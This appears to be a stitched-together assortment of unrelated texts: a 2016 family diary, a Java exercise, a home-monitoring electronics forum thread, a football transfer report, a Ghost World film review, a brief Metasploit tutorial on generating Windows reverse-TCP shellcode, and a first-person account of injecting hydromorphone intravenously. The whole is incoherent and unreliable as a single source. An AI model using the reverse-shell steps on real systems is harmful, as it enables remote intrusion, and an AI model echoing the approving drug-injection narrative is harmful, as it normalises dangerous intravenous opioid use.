I woke shortly after 4am and was quite discouraged. Concerned that if I went back to bed, I would wake Mae, I went into the front room. I didn’t have my glasses so I just guessed at the TV channels. When I turned the TV on, the first picture that came on was of a nude women standing up in a bath tub. I switched channels and got some weird show that I switched and found a Navy show that was good. I started work on the trailer and had just got started, when Mae called me for breakfast. My discouraged mood remained with me most of the day. I did get quite a bit done on the trailer and then about 3:30pm, we went up to David’s and enjoyed being with his family. Shauna is in Chicago this week on special training. Mae had prepared dinner and we took it up there and cooked it while we visited with Tyler, Emily and Connor until David got home from work. We then ate and visited and watched some of the Olympic races on TV. We came home getting here about 9:30pm. I caught my journal up before we went to bed.
Thursday, August 18, 2016
I worked most of the day on building doors for the cabinet over the freezer, but when I finished I had mounted the hinges on the wrong side. I am not sure yet what to do, to totally restart or try to patch and salvage what I can. Mae spent a lot of time shopping - some for me and some trying to decide what to do for the flooring in our house. We were both tired so quit and watched a Dories Day movie before going to bed.
Friday, August 19, 2016
Today I got the doors, re-cut, painted and hung for the cabinet above the freezer, even though I was interrupted twice by visitors. Bishop Mullins and Ravee came first and then Bishop Presnell stopped in. They were all concerned about my health and I appreciate then stopping by. I was able to complete the cabinet doors, paint them and get them hung. They sure improve the looks of the hall way. Mae has invited JaNae and her children out for dinner but they were later getting here than we expected. I had just finished and took a shower when JaNae and the children arrived. They didn’t get here until 7:30PM, but Mae still had a nice dinner ready for them. We had a very enjoyable evening with a good dinner. They all helped clear up the table and then we played games until 10:30PM before they left for home. The first game that we played was “Old Pig” which Kennedy won and then we taught them how to play Mormon Bridge. Although we only played 7 rounds of Mormon Bridge, instead of the normal 10 rounds, Dawson won that game. As they prepared to leave, we were showered with hugs and Kisses. We sure went to bed feeling that the evening and time was well spent.
Saturday, August 20, 2016
After getting up and eating breakfast, I started work on the house projects. I spent most of the day just designing a jig for my router to reset the lock sets in the doors and jambs. I should have purchased a jig set when we went to Mountain Tool and Die in Salt Lake a couple of weeks ago. At that time we still hadn’t received the insurance check from Bob’s passing and were not sure whether or not we would be getting it, and so I just bought what I needed at that time. After getting the jig designed and built, I set the one door and jamb and got that door finished. I was interrupted by a visit from Tim next door who came and asked for some advice on finishing the window jambs in his trailer after having new windows installed. I showed him what he needed and I will try to help him finish them. He said that he would pay me to help him. I finished up in time for us to attend Gary Nelson and Marilyn Branham’s wedding and reception. We met Lois and Jerry, Margie’s sister and brother-in-law, who were there and we enjoyed visiting with them. I told Jerry that I had just entered him into my journal when I was retyping my 1974 Diary. We enjoyed visiting with them. They served refreshments and a light luncheon after the Wedding, but there wasn’t much I could eat so I took Mae out to eat at the Golden Corral. After returning home, we watched a Humphrey Bulguart movie but it was only an ok movie.
Sunday, August 21, 2016
I didn’t sleep very well last night but got up before 5am. After breakfast we went in and watched The Tabernacle Choir program. Another show came on and I started watching it, but fell asleep. When I woke it was time to go to church. Meetings were very good today and as always we enjoyed them. Brother Fife gave the opening prayer in Sacrament meeting and I really appreciated his mentioning that we were thankful that for now, we still enjoy and appreciate our Religious Freedom. Brother Okey asked if I would be willing to pick-up the items that will be donated to the D.I. Drive in the morning. Of course I said that I would, and Brother Decker volunteered to help me. Following meetings, we had some lunch and then I worked on my journal. I worked on writing some of my memories of Bob, Floyd Robert Young. Mae spent quite a while editing my memories. She is sure a great help to me in helping me to get things done right. It was about 11PM before we got to bed.
Monday, August 22, 2016
Mae hadn’t slept very well last night due to my c-pap. I tried to let her sleep longer but she didn’t. I picked up Klaus Decker and we used my pickup to drive around the park and we collected items set out for the Deseret Industries. Being that it is Monday morning, it was sometimes difficult to know what was going to the D.I. and what was set out for the garbage. Also, there were some items being donated to another organization. After canvassing our ward and delivering what we collected to the D.I. pod at the church parking lot, I took Klaus back to his place. We set and talked for a while before I came home. On arriving home, I found that Mae hadn’t gone back to sleep, so she didn’t get much sleep last night. I went right to work installing the locks on the doors. Mae got some breakfast ready for me. After lunch I installed more of the trim on the skirting of the trailer house. I need a hammer drill to install the thresholds under the doors. We ate some dinner and then went over to Home Depot where I bought some plugs. We then went to United Rental in Clearfield, and I rented a hammer drill. We went to the grocery store for a few items and then went to Charles and Karen Saunders where we visited and played games. It was a nice evening. On the way home we stopped and filled the car with gas and got a car wash. I filled in this entry before going to bed after 11PM.
Tuesday, August 23, 2016
I got up at 6am so that I could use the hammer drill and return it to Universal Rental before 8am. I then went to Smith’s and bought a few groceries for Mae. From there I went over to Jennie’s office and picked up some nutrition pills. When I got back, I started work on the trailer but then had to shower and get ready to go to the Temple. We had a good group that came and we were able to get a lot of Sealings completed. After returning home we had some lunch while we watched a western movie. Mae and I went shopping at Good Earth, Bed Bath and Beyond and then at Costco for a few items. Mae had put a chicken in the oven to roast while we were gone and it turned out very good. David M. (our grandson) called and confirmed that they will be here tomorrow evening. We had planned on going to our son, David’s Thursday evening, but David called and said that Emily has a horse riding class after school and the violin class following that and David will be taking her to those activities, so he will have to cancel with us on Thursday. We will wait until Shauna gets home and then make plans. We went to bed early tonight.
Wednesday, August 24, 2016
Mae didn’t sleep very well last night. I woke just before 5am but was able to go back to sleep. Mae slept some in the recliner. When we got up, I asked her about setting the other bedroom up so she could use that bed when she couldn’t sleep and was afraid that if she came back to bed she would wake me, but Mae didn’t like that idea. I was going to start work on the trailer as soon as we finished breakfast, but Mae was going to go down to Gifford’s and pick tomatoes and berries, so I went down and helped her. After returning home, I started on my projects when Delaine Jackson came over and asked if I could check her hot water heater. Bob has gone on a fishing trip to Alaska so she is without help. I found that the pilot light had gone out. I re-set it and it lit ok. Later we checked and the heater seems to be ok. I again started work on the trailer, but had interruption for lunch. I wanted to finish installing the thresh holds and weather stripping before David, Sierra and Henry came for dinner. I quit work at 4pm, put tools away and had time for a shower before they came. David soon went to work on our computer while Mae finished dinner preparations. We enjoyed a wonderful meal as always, which Mae prepared, and then David worked more on our computer settings. He added settings on our phones as well and showed us how to use them. We gave him the Dell computer and keyboard and he showed us how to use the two monitors. He also showed us some more features on our phones and helped us with some of the setting on them. I used the two monitors just to see how they worked. In some areas I think it will be a good feature. It is now 9:30pm and I think we are ready to go to bed.
Friday, August 26, 2016
I got up and made egg omelets for breakfast. I then removed the door lock of the door, where I store the lawn mower. For some reason the Lock will not unlock. I mowed the lawn and then searched for the sample of the siding on our trailer that I had taken off. I wanted it so that I might find out how to paint the siding. I was unable to locate the sample. I took the lock back to Home Depot to have is repaired. It took a little while, but they were able to repair the lock. I next went to Wallmart where I bought some sweet potatoes, a watch for Mae and some cooked chicken for me as it was already after noon. I next went shopping at some Paint Stores to price paint and to see if they could tell me how to re-paint our house and keep the same pattern as we presently have. None of the ones I went to could tell me how to do it. Irven and Sandy came and visited for a little while but mainly to pick up the Coconut Oil we had bought for them. Mae and I went down to Brother and Sister Terkelson’s to visit and become acquainted. It was an enjoyable evening and we were surprised to find out that they know June Moulton and others from the Mound Fort Ward.
Saturday, August 27, 2016
I woke with a dream reliving some of my employment experiences. It almost seemed like a slow motion movie mainly consisting of why I resigned and changed employment. When I woke, I was in a very depressed state and that feeling remained with me most of the day. Also when I woke, I was depressed as to how my family has left activity in the Church. I don’t know if the two are related or not. Between my employment and my family, I am very depressed. After Mae got our breakfast, I went outside and worked on the doors and riveted several places on the aluminum siding. I got a call from Brother Okey asking if I could get together with Brother Fife and the two of us administer to Sister Diane Millspaw. We did that after lunch, and then I took a thumb drive containing my Five Year Diary over to the U.P.S. store in Clinton and had them print them off. When they finished I went to pay them, but I had left my wallet home and had to drive back home and back again to pay for the printing. I stopped at Wall Mart and purchased a binder and some index divider sheets to put my Diary in. I looked at some paint supplies at Home Depot before coming home. I finished some work on the house and put my tools away. Mae came out and helped me. We ate dinner while watching the show, “The Great Escape” on TV. I put my Diary in the binder. Maybe I should work on transcribing my hand written Journals from 1975 through 2002. That would be 27 years of journals to transcribe. I am not sure if that time would be of value or not. I have found where I have written on the computer from 2003 to 2010 but I can’t find where I have printed those years off on a hard copy. I will have to check on that. We are now going to cut Mae’s hair, take showers and get to bed.
Sunday, August 28, 2016
I woke after 7:30 and Mae was not in bed. I found her sleeping in the front room. I let her sleep for a long as she could. We just had cold cereal for breakfast and toast. We watched the Tabernacle Choir Broadcast and then I watched another show on channel 21 dealing with finding out more about the earlier generations of our family. I fell asleep before it finished, and Mae let me sleep for a while. She woke me so I could take some water over to Jackie, across the street. Of course I have to visit with her for a few minutes. Meetings were very good and it is a special privilege to partake of the Sacrament. The Sunday School class lesson was centered around Captain Moroni. The subject started to turn to politics so I just kept my mouth shut. After coming home and having something to eat, we went visiting first to Sister Leah Neilson (who had surgery on her teeth), then to Al and Blanch Ervin (Sister Ervin fell and broke her arm), then we stopped to visit Fred and Edith Amundson (they weren’t home), then to Wendell Siglin (he wasn’t home), and finally to Harold and Evie Hilton (neither of them are feeling well.) We did go by Marianne Ray’s, but she wasn’t home. After that we drove over to visit with Scott, Mishelle and their family. Scott and Kylan were down to the air strip where Kylan was flying his Drone, so we went there to watch him fly it. He sure enjoys his R.C. aircrafts. We came back and visited with them and they showed us the pictures from their trip to Yellowstone Park. It was late when we got home so we soon went to bed.
Monday, August 29, 2016
Mae woke early so that she could make it to her dentist appointment. They cleaned her teeth and repaired her denture. She woke me at 7AM. I read from my scriptures and then put the new mattress cover on our bed. Mae and I had tried to put the cover on, but had problems, plus Mae had to leave for her appointment. It took me a while but I was able to get the new cover onto the mattress and made the bed. I figured out the materials that I need to build the carts that I want to put storage items on and put them under the house. I filled my pickup with gas, got the pickup washed, bought steel at Bowman and Kemp’s and bought some bolts, nuts and lock washers at Nut and Bolt Supply. Mae got home about 12:30pm and we had some lunch, after which I took a short nap. Mae was busy with house work so I went shopping for tools and supplies that I needed. This evening Bishop Jim and Sister Ravee Mullins stopped by and asked me to give them a Priesthood Blessing before they go back to Pennsylvania to visit Jims family for a couple of weeks. We then went to Wall-Mart for some rubbing alcohol and hornet spray. Before going to bed we watched a western show with Jimmy Stewart staring in it. I then filled out this entry and we went to bed about 12:30am.
Tuesday, August 30, 2016
I woke up about 7am, but Mae didn’t get up until after 9am as she hadn’t slept well. I made the bed and got cold cereal and toast ready for breakfast. After eating, we went down to Gifford’s and picked black berries, a few tomatoes and carrots. I then sprayed the bushes for insects that are causing damage to them. I got tools ready and set up to cut the metal for the cart that will roll under the house. The new tools, ear muffs and face shield, that I bought yesterday, was a great help to me. I was tired when I quit and came in at 5PM. After dinner, I watched some TV while Mae worked on the computer. We played three rounds of Rummy Cube and Mae won two rounds. I entered this entry before we went to bed.
Wednesday, August 31, 2016
I woke early but then went into the front room and slept for another hour. Mae made a nice breakfast of pan cakes and eggs. After breakfast, I made a trip to Home Depot for some cinder blocks. I used them as stands to lay the angle iron on to construct the fame for my storage carts. When I got the welder out, I found that it did not have the male plug to hook into the 220 amp dryer outlet. I went back to Home Depot, but they didn’t have just a plug, so I went to Whitehead Electric where I got what I wanted at a much cheaper price. While I was gone, Mae inventoried the food storage under the bed in the 2nd bedroom. That was really quite a job to do. When I got back, Mae went shopping for food storage supplies. I got the first cart finished, but need to make some modification to lower the cart so it will accommodate the standard size plastic totes. Other than that, I think the carts will work great. I do need to get a 40 amp breaker as the 30 amp breaker trips with the welder load. I also need to find out where Bryce buys his welding rod as I don’t have enough to build two more carts, which I want to do. After putting away my tools, I came in for dinner which we ate as we watched a show on TV.


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The exists()
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Here is a start on a program:
import java.io.*; class CopyBytes { public static void main ( String[] args ) { DataInputStream instr; DataOutputStream outstr; if ( args.length != 3 || !args[1].toUpperCase().equals("TO") ) { System.out.println("java CopyBytes source to destination"); return; } File inFile = new File( args[0] ); File outFile = new File( _____________ ); if ( outFile._____________ ) { System.out.println( args[2] + " already exists"); return; } if ( ____inFile._____________ ) { System.out.println( args[0] + " does not exist"); return; } . . . . } }
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Hello!
This is my first time with this forum and with opensource electronics in general! I initially posted on the Arduino forums but before I knew it, I was buried above my head... These guys are way ahead of me!! ;) Googling for opensource home monitoring brought me here!
As you can imagine, I will need assistance building a home monitoring and security system.
Initially I was planning using an Arduino UNO as my base device, and for the nodes, only an Atmega328 microcontroller coupled with a RF12B RF transceiver... Because I have zero experience with RF modules in general, I dont feel comfortable going on my own with this and I am asking people's advices here!
Base device:
- Raspberry Pi Model B (for future expansion and enhanced processing power over an Arduino proto board)
- Two way RF transmission ( to send data to nodes, or receive data from them)
- Will be located about 70ft away from the farthest node
- Capable of handling up to 15 RF nodes
- Will be plugged onto my UPS so technically speaking will be battery backed-up
Room monitoring (1 node):
- Temperature and humidity
- AC powered
- One way RF transmission to send data to the base
Office monitoring (1 node):
- Temperature and humidity
- AC powered
- One way RF transmission to send data to the base
- motion sensor
Upstairs monitoring (1 node):
- Temperature and humidity
- AC powered (with battery backup)
- One way RF transmission to send data to the base
- motion sensor
Outdoor monitoring (1 node):
- Temperature and humidity and sunlight
- battery powered
- One way RF transmission to send data to the base
Utility monitoring (1 node):
- Real time electrical consumption metering (Watts) on the house's main
- AC powered
- One way RF transmission to send data to the base
Security & status monitoring (several sensors connected to single node):
I currently have the house wired for a real security system and I intend to use these wires to connect local sensors to the node.
- 2 proximity sensor connected via wire to node
- 1 temperature and humidity connected via wire to node
- 2 motion sensors connected via wire to node
- AC powered
Emergency lighting (3 or 4 nodes)
I want to have emergency lighting. I already have a UPS connected to my home server. When there's an outage, the UPS send a signal to the server (already implemented and working flawlessly) which I want to use to command LED pucks to turn on.
- Using LED puck (because of their low power to high output ratio)
- battery powered (obviously)
- One way RF transmission to get signal from base that there is a power outage, and get a signal from base when the power returned
General thoughts:
- Would it be better to have 2 way RF transmission on the nodes??
- I intend to use a DHT22 sensor for combined temperature & humidity. Good choice over separate sensors?
- Is this project feasible ??
I think the emonBase device sold here is a viable solution for my base, but please confirm it will be sufficient. Also what about the nodes?? I think the emonTX node sold here is overkill for most of my nodes as they have only a single sensor...
Has anyone achieved a similar setup??
Im strongly listening from the Gurus!
Thanks!!!
Re: Home monitoring & security system recommendations and advices
We can certainly help you with the energy (utility) monitoring side, but I haven't seen much in the forums about security and environment monitoring alone. I suggest you look at JeeLabs, and you might also find some useful stuff in Martin's Corner. We mostly use the same RF modules and library, so there should be no major compatibility problems.
I don't have a Raspberry Pi, so I can't comment on the amount of traffic it can handle.
Re: Home monitoring & security system recommendations and advices
Tahnks Robert for replying.
I am wondering, can the RFM12Pi V2 send AND receive RF data? As you can see in my setup I want the base to receive data from nodes, and command nodes to perform actions. I am also thinking about future expansion where I might decide to control light switches and other equipment with the Raspberry PI base..
Re: Home monitoring & security system recommendations and advices
Hi
I can comment on the DHT22 and monitoring around the house and Garden also with the PI.
The RFM12B Radio modules are a two way RF module so thats fine and should be fine for what you want.
The RFM12PI also can send and receive and will send the Time to the EmonGLCD so could be modified to send any command.. Iv been looking at using the JeeLink as i can connect it to my NAS and get that to do every thing the PI does But this is some way off..
Iv got the following all running on separate LiPo batts Jeenodes.
Environmental all of these also report battery voltage.
Main Room = CO2 / Temp / Humidity
Utility Room / Kitchen = Humidity / Temp
Garden = Humidity / Temp / LUX (to be expanded to a weather station setup if i ever get time) with Solar Panel charging the battery (Jeenode USB? or SMD?)
Upstairs Hall = Humidity / Temp
Daughters Room = Humidity / Temp
OEM kit
EmonTX = current / voltage / temp
EmonGLCD = Temp (Also running on a LiPo with Solar charging)
All of these report fine to the Pi
I have some more sensors that still need to be built up.
Drop me a PM if you want more info or shout here and ill reply.
Re: Home monitoring & security system recommendations and advices
lpallard,
I have a system very close to what you're talking about. But use various types of equipment. My main network uses RS485 to the physical transmission because it uses cable. Also use WIFI and ethernet shield.
Actually you can find information on other sites. Now speaking of energy, design openenergy is the best of the internet, in my opinion.
The forum is very well structured and respectful. Worth participate.
As I can help I am available.
Sidney
Re: Home monitoring & security system recommendations and advices
Guys you're awesome!!!
Based on Robert Wall's recommendations, I am thinking to go with the JeeNodes for most of my nodes since they are fairly cheap and since I will have at most 4 sensors per node, they should be sufficient...
robw, Ive got a few questions for you:
I will want to implement a "low battery" notification or warning on the battery powered nodes... Did you perform this in the code or you actually have a component monitoring the battery level?? I am asking because I am about to buy some components, while its never too late to reorder more, I'd like to be able to order more to save on shipping..
Which CO2 sensor did you use? Does it work well?
Same question for the LUX sensor... :)
Its very tempting to have the "outdoors" node battery powered with solar recharging. Can you expand on this?? You use a small solar panel? Thats nice! ;)
So I take that the DHT22 works well ... Do you have recommendations for the motion sensors ? IR?? What about proximity sensors? I'd use them to send a signal when a door is opened..
Is it possible to run the Jeenodes on AC power instead of batteries? I suppose it is, but what should I consider? As you can imagine, the "Security" node will be connected to a UPS. What would be the point of having it AC powered without a battery backup... :)
Regarding the emonTX you use, I was going to use a Jeenode with a current/voltage sensor to meter the wattage use of the main.. Is it what you;re doing? Can I use a jeenode or should I get a emonTX for this one?
farmsid,
thanks for your feedback! I am curious to know if you have a similar setup, do you use a Raspberry PI for the base and Jeenodes for the nodes or do you use emonTX nodes (based on Arduino boards)?
IMO the emonTX nodes are excellent if you need to monitor several energy sensors but are not really viable for other sensors (such as motion detection) or if you need to monitor only a single sensor...
Re: Home monitoring & security system recommendations and advices
You may want to look at this for a starting point for your security system http://www.projects.privateeyepi.com/home/home-alarm-system-project
You would need to modify it to work with wireless sensors.
Re: Home monitoring & security system recommendations and advices
Personally i have have extended the system and used jeeNodes as they are cheep(ish) and well designed for a small form factor.
If, like me, you live in a house that also has a visually conscious person, you may want to look at Martins Funky sensors as these are the same size as a coin cell (roughly) and are around the same price.
Jimmy
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lpallard
(sorry on the way to work so may be a little quick explaining things.)
Lux plug from here http://jeelabs.com/products/lux-plug Like most of the Jeelabs stuff its fine and works great.
CO2 from http://www.gassensing.co.uk/product/cozir-ambient/
Also Pressure using http://jeelabs.com/products/pressure-plug Needs calabrating to your hight but once you do that (in code) its as accurate as the weatherman.
Works like a charm, Expensive but most of them are But unlike the others uses very very small amounts of power.. Its just serial and not only does CO2 but does Temp and humidity.
Low battery is a simple Voltage divider with code to send the battery value back to base and also when it gets low to stop sending every min to every 5 mins then 10 mins etc..
See
http://jeelabs.org/2013/05/17/zero-powe-battery-measurement/
http://jeelabs.org/2013/05/16/measuring-the-battery-without-draining-it/
http://jeelabs.org/2013/05/15/what-if-we-want-to-know-the-battery-state/
Solar panel is a cheap 5V - 6v One connected to the USB port of http://jeelabs.com/products/jeenode-usb It has all the LiPo charging in it and seems to work fine.. Make sure you put a diode on the panel to stop it going over 5v. I also use http://www.adafruit.com/products/390 to power others and the GLCD.
No idea on the IR sensors (jeelabs have some that they recommend http://jeelabs.com/products/room-board) iv not been looking at that currently. For door switches a simple reed switch will be fine im sure like they use in home security.
Yes you can run them on AC power but they use so little power its not worth it for what im doing.. the LiPo needs charging every 9 months (could do more if i sorted the code more, No Time) or so and the out side one has the smallest lipo and has never seen the charger except for the initial charge. The node is reporting its 100% full. Lipos range from 300ma to 6000 for the GLCD. Just what i had around.
The DHT22 is fine.. they all seem with in a % or two for humidity when together and temp closer. Iv had one go bad temp was stuck at 14C but other than that they are great, The Temp on the water pipes are 1-wire.
I used a emonTX. It was my first step into arduno land and look where its got me.. Also it help support the guys and it seems easier to just buy it off the shelf than build it. But you may think different.
Re: Home monitoring & security system recommendations and advices
hey rob,
I have been thinking a bit more.. Thanks for the links and recommendations! We need to talk more about the project.
I am putting together a bill of material to purchase the components for the project. I am still in the planning & brainstorming stages. So far, looking at the numerous options I have, I have found that the cost of using Jeenodes, even if they are perfect for my nodes, is going to be pretty expensive... Especially since I need 8 of them (8 x 19Euros....)
The only nodes I believe even a JeeNode is overkill are the emergency light nodes... Even smaller nodes are more expensive..
I tried evaluating the cost benefit from building my own Jeenodes by purchasing parts from misc websites and local stores... I dont think it will be cheaper than the kits JeeLabs are selling...
I may try to get a deal from the sellers..
Regarding power, I was initially going to power all nodes (except the emergency lights) from AC power... I understand that I will need to use or homebrew a AC adapter (120V to 5V)... I wonder how much LiPo batteries are? I also understand that most (if not all nodes) will run on 5V so technically speaking, 3X 1.5VDC LiPo batteries would provide 4.5VDC which is sufficient?
Can you point me to the exact batteries you are using? I know nothing about LiPo, but I know NiMH better...
How long would a node running 4 sensors last on a single charge with LiPo's?
If these batteries are fairly cheap and will need charging only once a year, I may use them for all nodes and eliminate the need for AC adapters and UPS'es...
For the LUX, CO2, IR, and proximity switches, I am looking at your recommendations. The CO2 sensor seems to be coming from the UK. I am in Canada, I am not sure if I can get the same, but Ill try...
lookin forward to your reply and anybody else's replies! ;)
Attached is my bill of material so far...
Re: Home monitoring & security system recommendations and advices
Hi Again
OK no worries.. But im Electrical Genius i can tell you. Just happy to play around and tinker.
If you are going to buy Jeenodes please look at the US Site as the US one has a different frequency than the UK or EU. 9XXmhz? You also may find its cheaper also than from the EU. Also see if they do a 10 Pack version as the EU web site does.. Think it works out you get 2 free But this was some time ago.
The emergency lighting
could you not just use a simple circuit to charge the battery and once the power goes a relay unlatches to power the light from the battery? there for no Micro to worry about? All depends of if you want separate kit or not.
Lipos require special handling. and MUST be charged correctly or risk fire. They are 4.1V Charged and 2.8 uncharged (i think) They are sold as 3.7V, though but again you Must make sure that the lipos have a charge circuit on them to protect the battery from under charge / over charge.
http://www.ebay.co.uk/itm/SYMA-S107-S107-19-Li-Po-Battery-replacement-3-7V-240mAh-Parts-UK-store-/271200143570?pt=UK_ToysGames_RadioControlled_JN&hash=item3f24c9c8d2
has protection. You can see the orange tape.
http://www.ebay.co.uk/itm/1-pcs-PCB-for-3-7V-16340-18650-Li-ion-Lipo-Battery-Pack-/151088184973?pt=UK_Sound_Vision_Other&hash=item232d8ebe8d
The protection PCB
http://www.ebay.co.uk/itm/x8-NEW-3-7V-5000mAh-Lithium-Polymer-Li-Polymer-LiPo-li-ion-Battery-Batteries-/181178501974?pt=UK_ToysGames_RadioControlled_JN&hash=item2a2f148b56]
The un protected cell.
The Ac adapter i just use cheap USB power supplies from old phone chargers etc any thing that chucks out 5V. Much simpler than building it your self and safer.
The Jeenodes and the EmonTX all run at 3.3V so lipos are perfect for this as they have a regulator to make sure its 3.3V they see.
How long they last is a bit like asking how long is this piece of string.. How many sensors how much data is transmitted and how often. I can tell you the sensors (DHT22) i have reporting every min last 3 - 4 months. The sensors (DHT22) that report every 5 mins are still going ( 9 months). so its hard to tell.. You also can get more / less depending on how good you are at getting the node to sleep as much of the time as possible, These all run from 1200mAh battery. Some are on 850mAh and the GLCD on a 6000mAh but that only last at most 1 month but does have lots of lights and never sleeps. The outside node has a 850mAh battery and solar cell runns DHT22/ Lux / Pressure currently Gets around 5Hrs of sun before shading and has never been charged except for the initial charge is showing 100% full.
There are other CO2 Sensors but be aware some need a heater to get a reading and that will really kill off battery life quickly. But you could use one if you have a mains powered node, You may not need it at all, I only use it to show the air quality so see how air tight our house is. Shows if we need to think about a MVHR.
The LUX one adafruit sell the same and is a bit more local. http://www.adafruit.com/products/439 or this may be cheaper but iv not used it http://www.adafruit.com/products/1384 they also sell the pressure http://www.adafruit.com/products/391
On the subject of sensors don't be tempted with the DHT11 i found them rubbish.. Very inaccurate and touchy but maybe i had a bad one or two.
seems good so far.. Start small and work up..
Also look at off loading the os on the PI to a USB Stick.. Mine and others seem to corrupt the SD card after a few months but since going to the USB Stick all has been fine.. I was / still am looking at getting my NAS to do this instead of the pi.
Re: Home monitoring & security system recommendations and advices
Rob,
yes I will look at the US version of the Jeenodes... As a matter of fact, Jeenodes Lab has replied to my email and they forwarded me to their sister company in the US, Modem Device. Check it out, its pretty nice!
I was thinking the same but being a total noob in electronics, I had no idea how to do that. There must be a tutorial somewhere on how to do that,,, That would cut the cost of the project by about $75.... Quite considerable. Maybe you know how to do this?
I agree with the USB phone chargers... I have quite a few of those laying around in the house. Do you equip the Jeenode with a USB port, or you simply cut the micro-USB plug at the end of the cable and use the wires?
I intend to have the temp/humidity sensors report every 10 minutes or so... Security sensors are reporting when events occur, so for example the door switches can report only a few times per day. A god example is the patio door. During winter, this door never opens. So the switch for that specific door will be triggered once or twice in 6 months.. While I understands the concept of sleep time, I have no idea how to implement it in the Jeenodes... Im sure the forums are fille with this topic.
I wonder about the sensors that I want to run with a cable... Door switches, Passive IR are to be connected to the node using the existing security system's wires... Can I simply solder the wires to the sensor's legs and the wires to the Jeenode? I just hope the existing wires have enough wires... I think they have 4 or 5.. Not sure but Ill check.
I appreciate the advices on the DHT11 & the USB VS SD reliability issue on the Pi... I will think about it for sure!
I also appreciate your help a lot.
Re: Home monitoring & security system recommendations and advices
Coming back to this topic, I just realized that the jeenodes I ordered from ModernDevice.com have 915MHz RFM12B modules… This wont work with the 433MHz RFM12BPi module sold here for the Raspberry pi??? If not, can I mount a 915MHz RFM12B module onto the Raspberry Pi and use it as the 433MHz version found here?
Re: Home monitoring & security system recommendations and advices
Yes the rfm12b modules are the same pin out. You can swap them out no problems. You just need to change the code to reflect the change. Very very easy. The 433 version will not talk to the 915?so you will need a 915 version.
Re: Home monitoring & security system recommendations and advices
Ok so I can order a rfm12pi kit from here, and order a 915 rfm12b mldule from lets say adafruit or jeelabs and swap the radio module with no problems?
Re: Home monitoring & security system recommendations and advices
Ok Unless someone tells me this is not going to work, this is what I am planning to do:
I get the RFM12Pi V2 kit (not pre-assembled);
I buy the RFM12B 915MHz RF module separately
I install the RFM12B 915MHz on the RFM12Pi board giving me a 915MHz RFM12Pi circuit.
The problem is obtaining the necessary RFM12Pi kit. The Openenergymonitor shop is out of stock on the PCB board for the RFM12Pi and they dont offer any unassembled kits...
What are my options?? What are the US/Canadian people doing if they are using 915MHz nodes?


Willian wants to stay at Chelsea FC despite FC Barcelona interest – report
Willian is enjoying the opportunity to play under Chelsea FC boss Frank Lampard, according to a report
by Transfer AgentWillian is keen to stay at Chelsea FC despite interest from FC Barcelona, according to a report in the English media.
Website Goal is reporting that the Brazil international is in talks with the west London side over a new deal at Stamford Bridge after his promising start to the season.
The same article states that the 31-year-old is eager to stay at Chelsea FC despite the lure of moving to Spanish champions FC Barcelona.
According to the same story, Willian is currently in talks with the Stamford Bridge outfit over a new deal with little over six months left on his current contract.
Goal go on to report that Chelsea FC’s offer to Willian will be crucial as FC Barcelona continue to monitor the South American’s situation in the English capital.
Willian will be a free agent at the end of the Premier League season unless Chelsea FC can reach an agreement with one of their longest-serving players in Frank Lampard’s squad.
Goal go on to highlight that Chelsea FC have traditionally been reluctant to offer players over the age of 30 a deal lasting longer than 12 months at Stamford Bridge.
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In msfconsole you have the keyword generate that help us generate shellcode. So first we have to select a payload.
use payload/windows/shell_reverse_tcp
Now we set the variables as usual
set LPORT 5555
set LHOST <IP_ADDRESS>
Now we genereate the shellcode using the command generate.
To see the options use generate -h


Susan Granger's review of "GHOST WORLD" (United Artists/MGM)
Unless you're familiar with Daniel Clowes' adult comic books, you might think this black comedy is about the supernatural. It isn't. It's about those plain, often-unnoticed folk who function out-of-the-mainstream. Thora Birch ("American Beauty") stars as Enid, a recent high-school grad who's decided to skip college, find a job and get an apartment with her best-friend, Rebecca (Scarlett Johansson). But when she discovers she has to take a summer remedial art course to get her diploma, Enid's plans get derailed. The chaos begins when the girls wickedly fake a response to a personals ad and lure a lonely loser named Seymour to a diner, thinking he's going to meet the girl of his dreams. Since he knows he can't relate to 99% of humanity, Seymour shows no outward indignation, sipping a vanilla milkshake, patiently waiting. Peering through horned-rimmed glasses, utterly intrigued, Enid stalks him. "He's such a clueless dork, he's almost cool," she muses. She discovers he's obsessed with collecting vintage 78 rpm records and, significantly, that they have a lot in common. At the same time, her single father decides to move his girl-friend in, her relationship with Rebecca deteriorates, her "racist" art class project turns into a local scandal, and she's deeply conflicted about her strange feelings for thirtysomething Seymour. Co-written by Daniel Clowes and director Terry Zwigoff ("Crumb"), the poignant, pessimistic cynicism fairly drips off the screen as Thora Birch glides into the kind of rebellious role that Christina Ricci has vacated. As the hypersensitive dork, Steve Buscemi is perfect, as is Illeana Douglas, Scarlett Johansson, Bob Balaban and Brad Renfro. On the Granger Movie Gauge of 1 to 10, "Ghost World" is a weird, satirical 8. It's an intriguing coming-of-age story that haunts.
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I have done several opiates over the past two years, both orally and nasally but I've never injected them before. I had acquired two 1ml/4mg ampules of Dilaudid / hydromorphone a few months ago and as I was told that orally used hydromorphone is quite weak I open one of the ampules and let the liquid dry which yielded 4-5 nice crystals. I snorted the crystals but didn't feel anything special. Of course I felt the typical opiate effects, but not as strong as I had hoped.
So I decided that I would inject the other ampule one day as snorting seems like wasting this powerful opiate. I forgot about it more or less but a few days ago it came to my mind again. I ordered some 0.5ml insuline syringes over the internet which surprisingly arrived right the next day and so I decided to try the Dilaudid the coming weekend.
At first I wanted to do the hydromorphone i.m. but then I thought that this would probably be the last time I'd ever get a Dilaudid ampule and that I should make the best out of it. That means I would do it i.v. I cleaned my arm with some isopropylalcohol and then I broke off the head of the ampule and loaded the first syringe. Unfortunately I accidently had ordered 0.5ml syringes but the ampule was 1ml, so I needed to load two syringes. I sat down on my bed feeling a little nervous and very curious on how it would be like, I was told the rush of i.v. hydromorphone would be close to heroin.
I'm often donating blood so I wasn't afraid of the injection and since I had pharmaceutical injectable hydromorphone I also needen't be afraid of infections. Anyway, I had the two syringes loaded next to me, my arm cleaned with alcohol and was ready to inject. Carefully I put the needle in my vein and slowly injected the liquid. Right after that I quickly took the second syringe and injected again. The effects came up fast but I was a bit disappointed, nothing like what I had expected, no rush that was better than any orgasm and no feel like being in paradies...
